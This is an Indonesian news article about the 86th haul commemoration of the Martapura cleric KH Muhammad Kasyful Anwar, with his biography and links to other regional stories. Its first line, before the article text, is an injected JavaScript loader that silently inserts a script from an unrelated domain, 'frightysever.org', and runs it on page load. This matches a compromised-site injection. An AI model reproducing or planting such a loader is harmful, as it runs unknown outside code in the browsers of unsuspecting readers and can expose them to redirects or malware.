(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Ribuan orang memadati area kubah tempat dilaksanakannya haul ke-86 Tuan Guru KH Muhammad Kasyful Anwar, di Desa Melayu Ilir, Kecamatan Martapura Timur, Kabupaten Banjar, Jumat (26/4/2024) malam.
Kegiatan haul ulama masyhur yang biasa disebut Datu Kasyful Anwar tersebut diisi oleh rombongan dari Sekumpul Martapura pimpinan Imam Musala Ar Raudhah KH Sa’duddin Salman Al Banjary.
Kegiatan juga dihadiri Bupati Banjar H Saidi Mansyur dan Wabup Banjar Habib Idrus Al Habsyi bersama tokoh ulama dan habaib.
Baca juga: Lelaki di Banjarmasin Habisi Kakak Ipar, Jasad Dibuang ke Wilayah Tanbu
Peringatan haul ulama peletak dasar sistem formal Pondok Pesantren Darussalam Martapura tersebut dimulai usai Salat Isya berjamaah.
Diawali pembacaan surat Yasin oleh Guru Hakim dilanjutkan dengan Syair Yaa Syaikhona Ya Samman yang membuat jemaah larut dalam kesyahduan dan diakhiri dngan zikir nasyid serta doa.
Dikutip dari kitab Nurul Abshar karangan Tuan Guru Munawwar Al Gazali pimpinan Majelis Taklim Raudhotul Anwar, Kampung Melayu, Datuk Kasyful Anwar lahir di Desa Kampung Melayu Martapura, 4 Rajab 1304 / 29 Maret 1887.
Baca juga: Tingkatkan Capaian Akses Layanan Air Limbah dan Air Minum, Dinas PUPR Kalsel Gelar Workshop
Pada usia 9 tahun beliau dibawa oleh kedua orangtuanya menunaikan ibadah haji sekaligus memperdalam ilmu agama kepada tokoh ulama di Makkah, diantaranya Sayid Ahmad bin Sayid Abu Bakkar Syatta, Habib Ahmad bin Hasan Al Attas, Syekh Umar Hamdan dan Syekh Muhammad Ali bin Husein Al Maliki yang kesemuanya membuat beliau mendapat keberkahan dan menjadi alim lagi makrifat akan mengenal Allah SWT.
Sepulangnya menimba ilmu di Makkah, beliau menjadi pengajar dan pimpinan periode ketiga Ponpes Darussalam Martapura (1922-1940).
Cara pengajian di ponpes yang sebelumnya halaqah diubah beliau menjadi model pengajaran klasikal dan berjenjang.
Dengan adanya pembaharuan sistem yang dilakukan oleh beliau di Ponpes Darussalam membuat banyak santri berdatangan dari berbagai daerah.
Baca juga: Kafilah HSU Berangkat ke MTQ ke-35 Tingkat Provinsi Kalsel 2024
Dalam beberapa tahun saja banyak alumninya telah tersebar ke berbagai pelosok Kalimantan dan mendapat kepercayaan dari masyarakat untuk membuka pengajian, majelis taklim dan mendirikan pondok pesantren.
Menurut kisah yang diutarakan Guru Sekumpul pada salah satu pengajiannya, Datuk Kasyful Anwar pernah memiliki usaha emas, intan, kebun karet yang dijalankan keluarga beliau di Jakarta.
Dari hasil dari ketiga usaha tersebut beliau berikan untuk menambah gaji para pengajar ponpes. Betapa pemurah dan ikhlas seorang pimpinan ponpes saat itu untuk memajukan pendidikan islam.
Baca juga: Polresta Banjarmasin Tengah Selidiki Kasus Bayi Meninggal Saat Persalinan
Datu Kasyful Anwar berpulang ke Rahmatullah pada usia 55 tahun pada malam Senin/18 Syawal 1359 H/18 September 1940 M dimakamkan di Desa Melayu, Martapura. (Kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.